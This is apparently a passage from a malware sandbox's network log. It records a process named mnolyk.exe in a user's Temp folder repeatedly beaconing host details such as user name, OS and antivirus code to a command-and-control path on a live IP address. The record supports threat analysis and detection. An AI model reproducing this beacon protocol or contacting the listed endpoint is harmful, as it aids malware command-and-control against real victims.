Feb 6, 2023 14:17:50.176453114 CET	433	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:50.242876053 CET	433	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.5	49923	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:50.412938118 CET	434	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:50.478907108 CET	434	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.5	49924	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:50.645406008 CET	435	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:50.711787939 CET	435	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.5	49925	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:50.890187025 CET	436	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:50.955138922 CET	436	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.5	49926	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:51.137579918 CET	437	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:51.206058979 CET	437	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.5	49927	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:51.554248095 CET	438	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:51.619070053 CET	438	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.5	49928	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:51.819639921 CET	439	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:51.883795023 CET	439	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.2.5	49929	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:52.146320105 CET	440	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:52.217864037 CET	440	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49714	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:34.963073015 CET	224	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:35.026926041 CET	225	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.5	49930	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:53.103784084 CET	441	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:53.168404102 CET	441	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.2.5	49931	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:53.428937912 CET	442	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:53.494733095 CET	442	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.5	49932	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:53.704513073 CET	443	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:53.767765999 CET	443	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.2.5	49933	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:54.746192932 CET	444	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:54.813713074 CET	444	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.5	49934	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:55.067276001 CET	445	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:55.136074066 CET	445	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.2.5	49935	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:55.397933006 CET	446	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:55.461610079 CET	446	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	192.168.2.5	49936	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:55.677694082 CET	447	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:55.744800091 CET	447	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	192.168.2.5	49937	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:55.913688898 CET	448	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:55.976597071 CET	448	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.2.5	49938	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:56.145927906 CET	449	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:56.213244915 CET	449	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	192.168.2.5	49939	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:56.379898071 CET	450	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:56.443176031 CET	450	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	49715	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:35.302871943 CET	225	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:35.368762016 CET	226	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.2.5	49940	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:56.613135099 CET	451	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:56.676527023 CET	451	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	192.168.2.5	49941	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:56.852297068 CET	452	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:56.916233063 CET	452	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
